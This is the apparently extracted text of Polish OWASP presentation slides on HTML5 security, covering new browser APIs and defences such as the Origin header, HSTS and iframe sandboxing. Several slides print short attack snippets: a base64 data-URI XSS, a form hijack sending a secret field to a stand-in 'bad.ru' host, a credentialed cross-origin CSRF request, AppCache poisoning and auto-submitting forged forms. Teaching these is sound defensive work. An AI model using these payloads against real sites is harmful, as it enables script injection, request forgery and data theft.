4. HTML5
Upgrade wielu technologii używanych przez
aplikacje webowe
Dużo nowej dokumentacji
Dużo nowego kodu
Prace trwają od 2004
OWASP 4
5. HTML5
Bogaty, oparty na standardach klient
Przenoszenie logiki na stronę klienta
więcej danych
więcej możliwości
Nowe API
Geolocation, Drag & Drop, Filesystem, WebSockets,
WebWorkers, Touch Events...
OWASP 5
6. HTML5 i bezpieczeństwo
Wiele rozwiązań roboczych
Tradycyjne webowe podatności HTML wciąż
istnieją
XSS
CSRF
Nowe API dostępne dla Javascriptu
XSS zyskuje na znaczeniu
OWASP 6
10. Data: URI
Użyj, jak kiedyś javascript:
// all
<a href=data:text/
html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==>xss</a>
// IE
<link rel=stylesheet
href=data:,*%7bx:expression(write(/xss/))%7d >
Sprawdź przekierowania!
http://vuln.pl/?redirect=data:text/html,....
Location: data:text/html,...
OWASP 10
11. Przechwytywanie formularzy
Bez użycia Javascript
<form id=f action=https://good.com>
<input name=secret>
</form>
// anywhere in the document
<button form=f formaction=http://
bad.ru>CLICK
</button>
OWASP 11
12. Wykorzystanie XSS
HTML5 pomaga przy eksploitacji
WebSockets - wydajne połączenie z C&C
Dane w DB, HTML5 filesystem, Web Storage
// stealth mode
history.pushState('/innocent-url')
// wstrzyknięcie kodu
localStorage['code']='alert(/1/)';
// później
eval(localStorage['code'])
OWASP 12
15. CORS
Międzydomenowe XHR, z poświadczeniami
(credentials):
cookies
certyfikat SSL/TLS kliencki
poświadczenia HTTP auth
Docelowy serwer podejmuje decyzję
Odsyła odpowiednie nagłówki
OWASP 15
16. CORS
// http://attacker.cn
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://victim.pl");
xhr.setRequestHeader("Content-Type", "text/plain");
xhr.withCredentials = "true"; // cookies etc.
xhr.send("Anything");
OWASP 16
17. CORS
Żądanie XHR dociera do serwera
Z poświadczeniami
Można wykorzystać do Cross Site Request Forgery
Tak jak <form>, <img src> itd.
Nic nowego?
OWASP 17
22. Offline web applications
Cache offline
<html manifest=/cache.manifest>
Manifest
Typ MIME text/cache-manifest
CACHE MANIFEST
/
/main/home
/main/app.js
/settings/home
/settings/app.js
http://img.example.com/logo.png
Cache odświeża się, kiedy zmieni się plik
OWASP 22
23. Man in the middle
Podgląd / zmiana ruchu
XSS
session hijack (Firesheep)
Atak nietrwały
OWASP 23
24. AppCache poison
1. W trakcie MITM: wstrzyknięcie trucizny
<html manifest="/robots.txt"> CACHE MANIFEST
....<script>evil_foo()</script> CACHE:
http://victim/
NETWORK:
*
2. Po zakończeniu MITM:
• ofiara odwiedza stronę
• robots.txt ma niewłaściwy typ MIME
• zatruta strona pobierana z cache
• złośliwy kod uruchamia się
• ... aż do ręcznego wyczyszczenia offline cache
OWASP 24
31. Nagłówek Origin
Referer: http://host:port/url/?a=1
Często używany do zabezpieczenia przed CSRF
if (req.headers.referer
&& !req.headers.referer.match('ok.com')) {
tell_attacker_to_get_lost();
} else {
process();
}
Kiedyś łatwy do podrobienia
OWASP 31
32. Nagłówek Origin
Łatwo pozbyć się nagłówka Referer!
preferencje przeglądarki
https:// → http://
niemożliwa do ustalenia wartość
location = 'data:text/html,<html><meta http-
equiv="refresh" content="0; url=data:text/html,<form
id=f method=post action=''+url+''></
form><script>document.f.submit()</scri'+'pt>"></html>';
OWASP 32
33. Nagłówek Origin
szanuje prywatność
Referer: http://host:port/naga-prawda
Origin: http://host:port
zachowany przy ruchu https:// → http://
nie może być podrobiony
nieznany → Origin: null
OWASP 33
34. HSTS
HTTP Strict Transport Security
Zabezpiecza przed atakami SSL stripping
GET / HTTP/1.1
Host: gmail.com
HTTP/1.1 301 Be Secure
Location: https://mail.google.com/
OWASP 34
35. HSTS
Strict-Transport-Security: max-age=1576800;
includeSubDomains
Dozwolone tylko szyfrowane połączenia
Ciche tłumaczenie http:// na https://
“Hard fail” w przypadku błędów SSL/TLS
OWASP 35
36. Iframe sandbox
<script>user_id=4</script>
<iframe sandbox src=untrusted-ad.aspx />
Bez dostępu do DOM
Bez skryptów
Bez pluginów (Java, Flash, ...)
Bez formularzy
Bez framebusting
Ograniczenia można wybiórczo wyłączać
OWASP 36
38. Podsumowanie
Nowe możliwości, także dla atakującego
XSS groźniejszy w skutkach
Nowe narzędzia do obrony
Warto je zastosować w kombinacji z tradycyjnymi
metodami
OWASP 38